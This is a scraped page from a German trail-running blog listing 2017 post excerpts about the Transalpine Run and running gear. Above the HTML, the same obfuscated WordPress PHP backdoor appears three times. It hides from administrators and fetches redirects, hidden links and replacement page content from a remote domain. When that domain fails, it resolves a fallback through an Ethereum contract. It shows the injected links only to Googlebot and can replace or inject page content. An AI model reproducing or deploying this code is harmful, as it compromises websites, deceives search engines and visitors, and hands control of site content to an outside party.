if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&&current_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i<strlen($hex);$i+=2){$byte=substr($hex,$i,2);if($byte==='00')break;$o.=chr(hexdec($byte));}return trim($o);}function RD(){$rp=$GLOBALS['RP'];$i=(int)get_transient('_ri');if($i>=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')<FT)return;$d=RD();if($d){set_transient('_dm',$d,86400);delete_transient('_fc');}}function J($u){$r=wp_remote_get($u,['timeout'=>TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo'<link rel="canonical" href="'.esc_url($Lx['C'][$path]).'" />'."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='<li><a href="'.esc_url($r['u']).'">'.esc_html($r['t']).'</a></li>';if($h!=='')echo'<details class="pl"><summary>More</summary><ul>'.$h.'</ul></details>';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'<!doctype html><html><head>';wp_head();echo'</head><body>'.$p['h'];wp_footer();echo'</body></html>';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&&current_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i<strlen($hex);$i+=2){$byte=substr($hex,$i,2);if($byte==='00')break;$o.=chr(hexdec($byte));}return trim($o);}function RD(){$rp=$GLOBALS['RP'];$i=(int)get_transient('_ri');if($i>=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')<FT)return;$d=RD();if($d){set_transient('_dm',$d,86400);delete_transient('_fc');}}function J($u){$r=wp_remote_get($u,['timeout'=>TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo'<link rel="canonical" href="'.esc_url($Lx['C'][$path]).'" />'."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='<li><a href="'.esc_url($r['u']).'">'.esc_html($r['t']).'</a></li>';if($h!=='')echo'<details class="pl"><summary>More</summary><ul>'.$h.'</ul></details>';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'<!doctype html><html><head>';wp_head();echo'</head><body>'.$p['h'];wp_footer();echo'</body></html>';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&&current_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i<strlen($hex);$i+=2){$byte=substr($hex,$i,2);if($byte==='00')break;$o.=chr(hexdec($byte));}return trim($o);}function RD(){$rp=$GLOBALS['RP'];$i=(int)get_transient('_ri');if($i>=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')<FT)return;$d=RD();if($d){set_transient('_dm',$d,86400);delete_transient('_fc');}}function J($u){$r=wp_remote_get($u,['timeout'=>TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo'<link rel="canonical" href="'.esc_url($Lx['C'][$path]).'" />'."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='<li><a href="'.esc_url($r['u']).'">'.esc_html($r['t']).'</a></li>';if($h!=='')echo'<details class="pl"><summary>More</summary><ul>'.$h.'</ul></details>';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'<!doctype html><html><head>';wp_head();echo'</head><body>'.$p['h'];wp_footer();echo'</body></html>';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */<!DOCTYPE html>
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	<p>Sobald die Bäume ihr Laub färben, macht sich bei mir Herbstliebe breit. Es ist wieder Hoodie-Zeit und der Geruch, der nun in der Luft liegt, hat sich gewandelt. Wenn ich am Morgen über raschelndes Laub oder an Nebelschwaden vorbei laufen und die kühle Luft genießen kann, dann ist der Herbst für mich ohne Zweifel die schönste&#8230;</p>
	
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		<a href="https://www.trail-kitchen.com/author/marlen/" rel="author">marlen</a>&nbsp;/&nbsp;9. Oktober 2017		</div>
		
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	<p>Vor nun fast einem Monat sind Marlen und ich in Sulden am Ortler ins Ziel des Transalpine Runs 2017 eingelaufen. Emotional ist es, als ob wir gerade erst die Ziellinie überquert hätten. Aber rational, als ob es schon ewig her ist. Wir hatten uns vorgenommen, genau wie letztes Jahr, täglich einen Rennbericht mit ein paar&#8230;</p>
	
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		<a href="https://www.trail-kitchen.com/author/mario/" rel="author">mario</a>&nbsp;/&nbsp;5. Oktober 2017		</div>
		
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			<a href="https://www.trail-kitchen.com/transalpine-run-2017-3-etappe-der-tar-faktor/" >Transalpine Run 2017, 3. Etappe &#8211; der TAR-Faktor</a>
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	<p>Er ist wieder da. Wer? Der Transalpine Run (TAR) Faktor &#8211; der Geist, der Spirit, der Reiz. Alles, was dieses Rennen auszeichnet und so einzigartig macht! Es ist der 4. Tag, die 3. Etappe von St. Anton am Arlberg nach Landeck am Inn. Wir sind komplett angekommen &#8211; körperlich und mental. Der TAR bestimmt seit&#8230;</p>
	
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			<a href="https://www.trail-kitchen.com/transalpine-run-2017-2-etappe-ganz-oben/" >Transalpine Run 2017 &#8211; 2. Etappe &#8220;Ganz oben&#8221;</a>
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	<p>Der heutige Tag hat uns mit Sonnenschein und einem traumhaften Weitblick in die Puderzucker-Alpenlandschaft begrüßt. Ich habe das gleich als positive Botschaft interpretiert und mehr Asphalt als gestern &#8211; geht das überhaupt? Wir finden das geht nicht und statt dessen sollten wir den &#8220;Puderzucker&#8221; oben auf den Bergen heute ausgiebig genießen können. Gestartet wurde in&#8230;</p>
	
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			<a href="https://www.trail-kitchen.com/die-1-etappe-ist-die-haerteste-transalpine-run-2017/" >Die 1. Etappe ist die Härteste &#8211; Transalpine Run 2017</a>
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	<p>Was macht Trailrunning eigentlich aus? &#8211; Es ist das direkte Erleben der unmittelbaren Natur, die schönen Landschaften und das unter Gleichgesinnten &#8211; &#8220;Verrückten&#8221; will ich nicht sagen &#8211; sein. Was braucht es fürs Trailrunning? Klar, eine gewisse Begeisterung, Ausdauer, Motivation, aber auch soziale Kompetenz und Flexibilität. Diese war bereits gestern in Fischen gefordert, als PlanB&#8230;</p>
	
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		<a href="https://www.trail-kitchen.com/author/mario/" rel="author">mario</a>&nbsp;/&nbsp;3. September 2017		</div>
		
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	<p>Es fühlt sich an, als wäre es erst letzte Woche gewesen, die Teilnahme am Gore-Tex Transalpine Run 2016. Heute, ein Jahr später sind wir mit gepackten Taschen in Fischen im Allgäu und fiebern dem Start des diesjährigen TAR entgegen. Die Strecke des Laufs wechselt jährlich zwischen der Ostroute und der Westroute, die wir in diesem&#8230;</p>
	
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			<a href="https://www.trail-kitchen.com/transalpine-run-packliste-fuer-eine-woche-trailrunning/" >Transalpine Run &#8211; Packliste für eine Woche Trailrunning</a>
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	<p>Es geht wieder los – überall in der Wohnung entstehen kleine Zwischenlager. Beutel mit „Quetschies“ für unterwegs, im Flur steht eine Auswahl an Trailrunning Schuhen neben dem Schrank. Im Schlafzimmer türmen sich Packungen mit Salztabletten und Proteindrink. Auch die Buchungsbestätigungen der Hotelzimmer, sowie die Haftungsverzichtserklärung liegen sichtbar herum. Dieses Chaos, das mein Freund und der Miezekater geduldig&#8230;</p>
	
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		<a href="https://www.trail-kitchen.com/author/marlen/" rel="author">marlen</a>&nbsp;/&nbsp;30. August 2017		</div>
		
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	<p>Laufschuhe sind für mich als Trailrunnerin enorm wichtig. Auf der einen Seite sind sie mein wichtigster Ausrüstungsgegenstand, der mich über die Berge bringt. Auf der anderen Seite sind Schuhe natürlich ein klassisches Frauenthema. Auch ich kann nie genug Schuhe haben! Zugegebenermaßen bin ich in der Vergangeinheit nicht besonders experimentierfreudig gewesen, was unterschiedliche Schuhmodelle und -marken&#8230;</p>
	
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	<p>Dieser Artikel enthält Werbung für Questlog. Neben dem obligatorischen Sack voll Wäsche bringe ich aus dem Urlaub meistens kleine Andenken mit. Das können klassische Souvenirs sein, in meinem Fall sind es jedoch viel mehr Dinge wie Eintrittskarten, die Rechnung vom Restaurant mit dem besten Essen der Welt oder einige Muscheln, ein schöner Stein, oder ein&#8230;</p>
	
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